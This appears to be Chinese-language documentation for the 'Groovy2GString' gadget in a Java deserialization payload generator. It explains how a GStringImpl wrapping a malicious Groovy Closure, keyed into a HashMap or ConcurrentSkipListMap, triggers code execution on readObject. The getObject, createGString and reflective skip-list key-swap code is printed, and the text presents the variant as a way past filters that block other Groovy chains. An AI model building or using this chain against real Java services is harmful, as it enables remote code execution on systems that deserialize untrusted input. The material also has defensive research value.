- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
org.codehaus.groovy:groovy:2.4.3
以 Groovy 的 GStringImpl 作为触发点的 Closure 链。把一个内含目标 Closure 的 GStringImpl 放进 HashMap(或 JDK 11+ 的 ConcurrentSkipListMap),反序列化时 Map 的 readObject 会对 key 求 hashCode/toString(或 compareTo),GStringImpl 计算字符串值时会调用其 values 里的 Closure,从而触发 Closure.call。是绕过部分「不接受 AnnotationInvocationHandler/PriorityQueue」场景的 GString 变体。
- 入口
tags:JavaNativeDeserialize—— 承接 Java 原生反序列化入口。 - 衔接
nextTags:ClosureWithTemplatesImplChain、ClosureWithJNDIChain、ClosureWithRuntimeChain—— 下游提供封装好的 GroovyClosure(TemplatesImpl 字节码 / JNDI / Runtime 三种落地)。 excludes:无。
getObject 校验下游产物为 Closure,规整后包成 GStringImpl,再按 entry 选 Map 载体:
public Object getObject(Object obj) throws Exception {
if (!(obj instanceof Closure)) { ...throwGadgetException("Groovy2GString 需要 Closure..."); }
Closure closure = (Closure) obj;
Groovy2GString.normalizeClosure(closure); // 抹平参数元数据,避免调用期报错
GStringImpl gString = Groovy2GString.createGString(closure);
if ("skiplist".equalsIgnoreCase(this.entry)) {
return Groovy2GString.buildSkipListMap(gString); // JDK 11+:compareTo 入口
}
return PayloadHelper.makeMap(gString, "groovy"); // 默认:HashMap.hashCode/toString 入口
}createGString 用反射绕过构造器,把 Closure 塞进 GStringImpl.values,并清空所有字符串/哈希缓存,确保反序列化后首次求值时才真正拼接字符串、进而调用 Closure:
private static GStringImpl createGString(Closure<?> closure) throws Exception {
GStringImpl gString = Reflections.createWithoutConstructor(GStringImpl.class);
Reflections.setFieldValue(gString, "strings", new String[]{"", ""}); // 两段静态串
Reflections.setFieldValue(gString, "values", new Object[]{closure}); // 中间“插值”即 Closure
Groovy2GString.resetGStringCache(gString); // cachedString/string/value → null
Groovy2GString.resetGStringHash(gString); // hash/hashCode → 0,强制重算
return gString;
}GString 的 toString()/hashCode() 会遍历 strings 与 values 拼接;对 values[0](Closure)求值即 Closure.call() → 执行 payload。
两种入口:
- hashmap(默认):
PayloadHelper.makeMap(gString, "groovy")把gString作为 key 放入HashMap。HashMap.readObject → hash(key) → GStringImpl.hashCode()/toString() → Closure.call。 - skiplist(JDK 11+):
buildSkipListMap造ConcurrentSkipListMap,通过反射把某个节点的key替换为gString:
ConcurrentSkipListMap<GStringImpl,String> map = new ConcurrentSkipListMap<>();
map.put(new GStringImpl(new Object[0], new String[]{"1"}), "1");
map.put(new GStringImpl(new Object[0], new String[]{"2"}), "2");
Object head = Reflections.getFieldValue(map, "head"); // 反射深入内部链表节点
Object node = Reflections.getFieldValue(head, "node");
Object target = Reflections.getFieldValue(node, "next");
... // 取到第二个节点
Reflections.setFieldValue(target, "key", gString); // 偷换 key 为恶意 GString
return map;ConcurrentSkipListMap.readObject 重建时对 key 调用 compareTo → GStringImpl.compareTo → 求值 → Closure.call。之所以需要 JDK 11+,是因为该类内部字段结构(head/node/next)在不同 JDK 版本布局不同,本反射路径针对新版内部实现。
normalizeClosure 把 maximumNumberOfParameters、parameterTypes 归零,使 Closure.call() 无参调用不因参数校验失败。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
entry |
入口选择 | hashmap:HashMap.readObject 触发;skiplist:ConcurrentSkipListMap.readObject(JDK 11+) |
hashmap |
hashmap、skiplist |
- 依赖
groovy 2.4.3;核心是GStringImpl在字符串求值时会调用插值处的Closure。 skiplist入口依赖ConcurrentSkipListMap内部head/node/next/key字段布局,标注适用 JDK 11+;hashmap入口通用性更好。- 相比 Groovy(
AnnotationInvocationHandler)与 Groovy2(PriorityQueue),本变体的入口是HashMap/SkipListMap,可在前两者被拦截或不适用时作为替代。 - 无回显;最终执行取决于下游
Closure。
- 自由构件,未直接出现在预设链。